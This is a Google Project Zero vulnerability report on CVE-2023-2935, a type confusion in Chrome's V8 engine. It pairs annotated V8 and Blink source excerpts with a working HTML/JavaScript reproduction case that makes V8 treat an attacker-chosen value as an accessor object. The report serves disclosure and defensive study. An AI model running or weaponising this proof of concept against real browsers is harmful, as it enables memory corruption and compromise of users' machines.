Chrome v8::internal::Object::SetPropertyWithAccessor Type Confusion

Related Vulnerabilities: CVE-2023-2935  
Publish Date: 30 Jun 2023
                							

                Chrome: Type confusion in v8::internal::Object::SetPropertyWithAccessor

VULNERABILITY DETAILS
When `SetSuperProperty` can't find the requested property in the holder, it performs an `OWN` lookup on the receiver. If the receiver has a property interceptor installed, the function invokes the interceptor's descriptor callback[1] and, if the callback opts not to intercept the request[2], creates a new property by calling `CreateDataProperty` on the original lookup iterator[3].

Some descriptor callbacks, for example, the one used with `HTMLCollection` objects, call `GetRealNamedPropertyAttributesInPrototypeChain`[4] to ensure they don't hide an existing property in the prototype chain. The function works by creating a lookup iterator that starts with the receiver's prototype and calling `GetPropertyAttributes` on it. Finally, if `GetPropertyAttributes` encounters a JavaScript Proxy object, it runs the descriptor handler of the proxy. This creates a user code reentrancy point.

The problem is that the user code in the proxy handler might invalidate `own_lookup`, which is used in [3], by modifying the object, for example, by creating a property with the same name. In this scenario, `own_lookup` will be in the `NOT_FOUND` state, and  `CreateDataProperty` will attempt to add a second property with the same name.

This primitive has been abused multiple times in the past, including exploits detected in the wild, to break field type tracking and bypass security-critical checks in TurboFan. Therefore, last year a hardening patch was landed[6] that catches duplicate properties in \"fast property\" mode objects. We were aware of the fact that it would still be possible to create duplicate properties in \"dictionary mode\" objects with a similar vulnerability, however, even if such an object is converted to the fast mode, its field types are generalized i.e. useless for field type tracker.

It turns out there's a way to exploit the duplicate property primitive without abusing field type tracking or TurboFan at all. The basic idea is that, depending on the current order of the properties, a property lookup for a duplicate property name might return a different value, and an object shape change, for example, transitioning between \"fast\" and \"dictionary\" properties, might reshuffle the properties.

More specifically, when `DefineOwnPropertyIgnoreAttributes` encounters a special `AccessorInfo` property and the requested attributes don't match the current ones, it will first call `TransitionToAccessorPair`[7] to update the attributes. `TransitionToAccessorPair` might reshape the object twice if needed: first from \"fast\" to \"slow\"[9] and then back to \"fast\"[10]. After that, it restarts the lookup in the current object[11]. However, if the property is a duplicate, the new lookup might point to a different value which isn't even an accessor. This value is later used for the `SetPropertyWithAccessor` call[8].

In debug builds, this will lead to the `DCHECK_EQ(ACCESSOR, state_)` assertion failure in `LookupIterator::GetAccessors`. In release builds, a value of an attacker's choice will be interpreted as an `AccessorPair` object.


REFERENCES
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/objects.cc;drc=f49e998b8d369971b65bc980846d2395bf4dee30;l=2665
```
Maybe<bool> Object::SetSuperProperty(LookupIterator* it, Handle<Object> value,
                                     StoreOrigin store_origin,
                                     Maybe<ShouldThrow> should_throw) {
  Isolate* isolate = it->isolate();

  if (it->IsFound()) {
    bool found = true;
    Maybe<bool> result =
        SetPropertyInternal(it, value, should_throw, store_origin, &found);
    if (found) return result;
  }
[...]
  Handle<JSReceiver> receiver = Handle<JSReceiver>::cast(it->GetReceiver());

  // Note, the callers rely on the fact that this code is redoing the full own
  // lookup from scratch.
  LookupIterator::Configuration c = LookupIterator::OWN;
  LookupIterator own_lookup =
      it->IsElement() ? LookupIterator(isolate, receiver, it->index(), c)
                      : LookupIterator(isolate, receiver, it->name(), c);

  for (; own_lookup.IsFound(); own_lookup.Next()) {
    switch (own_lookup.state()) {
[...]
      case LookupIterator::INTERCEPTOR:
      case LookupIterator::JSPROXY: {
        PropertyDescriptor desc;
        Maybe<bool> owned =
            JSReceiver::GetOwnPropertyDescriptor(&own_lookup, &desc); // *** [1] ***
        MAYBE_RETURN(owned, Nothing<bool>());
        if (!owned.FromJust()) { // *** [2] ***
          if (!CheckContextualStoreToJSGlobalObject(&own_lookup,
                                                    should_throw)) {
            return Nothing<bool>();
          }
          return JSReceiver::CreateDataProperty(&own_lookup, value, // *** [3] ***
                                                should_throw);
        }
[...]
}

https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:out/Debug/gen/third_party/blink/renderer/bindings/core/v8/v8_html_collection.cc;drc=332f92aab4a32607f7813ac1a824f6ff0d86c369;l=197
```
void V8HTMLCollection::NamedPropertyDescriptorCallback(
    v8::Local<v8::Name> v8_property_name,
    const v8::PropertyCallbackInfo<v8::Value>& info) {
  RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(
      info.GetIsolate(), \"Blink_HTMLCollection_NamedPropertyDescriptor\");

  // LegacyPlatformObjectGetOwnProperty
  // https://webidl.spec.whatwg.org/#LegacyPlatformObjectGetOwnProperty
  v8::Local<v8::Object> v8_receiver = info.Holder();
  v8::Isolate* isolate = info.GetIsolate();
  v8::Local<v8::Context> current_context = isolate->GetCurrentContext();
  // step 2.1. If the result of running the named property visibility algorithm
  //   with property name P and object O is true, then:
  if (v8_receiver
          ->GetRealNamedPropertyAttributesInPrototypeChain(current_context, // *** [4] ***
                                                           v8_property_name)
          .IsJust()) {
    return;  // Do not intercept.  Fallback to OrdinaryGetOwnProperty.
  }
[...]
}
```

https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;drc=181f556032737223b6e43a48b81943b2f990daa8;l=753
```
Maybe<PropertyAttributes> JSReceiver::GetPropertyAttributes(
    LookupIterator* it) {
  for (; it->IsFound(); it->Next()) {
    switch (it->state()) {
[...]
      case LookupIterator::JSPROXY:
        return JSProxy::GetPropertyAttributes(it); // *** [5] ***
[...]
```

[6] - https://source.chromium.org/chromium/_/chromium/v8/v8.git/+/3c7f274770e90b766ed554a6ca599e70341c9735

https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.cc;drc=181f556032737223b6e43a48b81943b2f990daa8;l=3650
```
Maybe<bool> JSObject::DefineOwnPropertyIgnoreAttributes(
    LookupIterator* it, Handle<Object> value, PropertyAttributes attributes,
    Maybe<ShouldThrow> should_throw, AccessorInfoHandling handling,
    EnforceDefineSemantics semantics, StoreOrigin store_origin) {
[...]
      case LookupIterator::ACCESSOR: {
        Handle<Object> accessors = it->GetAccessors();

        // Special handling for AccessorInfo, which behaves like a data
        // property.
        if (accessors->IsAccessorInfo() && handling == DONT_FORCE_FIELD) {
          PropertyAttributes current_attributes = it->property_attributes();
          // Ensure the context isn't changed after calling into accessors.
          AssertNoContextChange ncc(it->isolate());

          // Update the attributes before calling the setter. The setter may
          // later change the shape of the property.
          if (current_attributes != attributes) {
            it->TransitionToAccessorPair(accessors, attributes); // *** [7] ***
          }

          return Object::SetPropertyWithAccessor(it, value, should_throw); // *** [8] ***
        }
```

https://source.chromium.org/chromium/chromium/src/+/refs/heads/main:v8/src/objects/lookup.cc;drc=332f92aab4a32607f7813ac1a824f6ff0d86c369;l=815
```
void LookupIterator::TransitionToAccessorPair(Handle<Object> pair,
                                              PropertyAttributes attributes) {
  Handle<JSObject> receiver = GetStoreTarget<JSObject>();
  holder_ = receiver;

  PropertyDetails details(PropertyKind::kAccessor, attributes,
                          PropertyCellType::kMutable);

  if (IsElement(*receiver)) {
[...]
  } else {
    PropertyNormalizationMode mode = CLEAR_INOBJECT_PROPERTIES;
    if (receiver->map(isolate_).is_prototype_map()) {
      JSObject::InvalidatePrototypeChains(receiver->map(isolate_));
      mode = KEEP_INOBJECT_PROPERTIES;
    }

    // Normalize object to make this operation simple.
    JSObject::NormalizeProperties(isolate_, receiver, mode, 0, // *** 9 ***
                                  \"TransitionToAccessorPair\");

    JSObject::SetNormalizedProperty(receiver, name_, pair, details);
    JSObject::ReoptimizeIfPrototype(receiver); // *** [10] ***

    ReloadPropertyInformation<false>(); // *** [11] ***
  }
}
```


VERSION
Google Chrome 112.0.5615.137 (Official Build) (arm64)
Chromium 115.0.5737.0 (Developer Build) (64-bit)


REPRODUCTION CASE
```
<body>
<script>
class Utils {
  static bigIntAsDouble(big_int) {
    Utils.#big_int_array[0] = big_int;
    return Utils.#double_array[0];
  }

  static transitionToSlow(object) {
    try {
      // `SetOrCopyDataProperties` will make `object` transition to slow properties
      // then throw while trying to access the first property of `source.`
      Object.assign(object, Utils.#slow_source);
    } catch { }
  }

  static transitionToFastPrototype(object) {
    // Assigning `__proto__` will make `object` transition to a prototype map.
    // `Enumerate` will call `MakePrototypesFast`.
    for (let x in { __proto__ : object }) {}
  }

  // Some interceptors call `GetRealNamedPropertyAttributesInPrototypeChain`. If there is a JSProxy
  // in the prototype chain, the function will attempt to invoke the `getOwnPropertyDescriptor` handler.
  static setInterceptorOnceCallback(object, callback) {
    let prototype = Object.getPrototypeOf(object);
    let grand_prototype = Object.getPrototypeOf(prototype);

    Object.setPrototypeOf(prototype, new Proxy({}, {get getOwnPropertyDescriptor() {
      Object.setPrototypeOf(prototype, grand_prototype);

      callback();
    }}));
  }

  static #big_int_array = new BigUint64Array(1);
  static #double_array = new Float64Array(Utils.#big_int_array.buffer);
  static #slow_source = {};
  static {
    for (let i = 0; i < 2048; ++i) {
      Object.defineProperty(Utils.#slow_source, `p${i}`, {enumerable: true, get() { throw 1 }});
    }
  }
};

// Used by `Error.captureStackTrace`.
const PROPERTY_NAME = \"stack\";

function trigger(index) {
  // The collections are cached; pass an index to get a new one each time.
  let object = document.getElementsByTagName(index);

  Utils.setInterceptorOnceCallback(object, _ => {
    // Needed to force `ReoptimizeIfPrototype` inside `TransitionToAccessorPair`.
    Utils.transitionToFastPrototype(object);

    Error.captureStackTrace(object);
    // Trigger `TransitionToAccessorPair` -- makes `object` fast.
    Object.defineProperty(object, \"stack\", {enumerable: false});
    Utils.transitionToSlow(object);

    // Add more properties to rehash the dictionary.
    for (let i = 0; i < index; ++i) {
      object[`p${i}`] = 1;
    }
  });
  // Pass a holder that doesn't contain the property to trigger a second lookup.
  // The stored value will be interpreted as an accessor object later.
  Reflect.set({}, PROPERTY_NAME, Utils.bigIntAsDouble(0x4141414141414141n), object);

  // Trigger `TransitionToAccessorPair` again.
  Object.defineProperty(object, PROPERTY_NAME, {enumerable: true, value: 1});
}

for (let index = 0; index < 1000; ++index)
  trigger(index);

location.reload();
</script>
</body>
```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-07-26.


Related CVE Numbers: CVE-2023-2935.



Found by: glazunov@google.com

<p>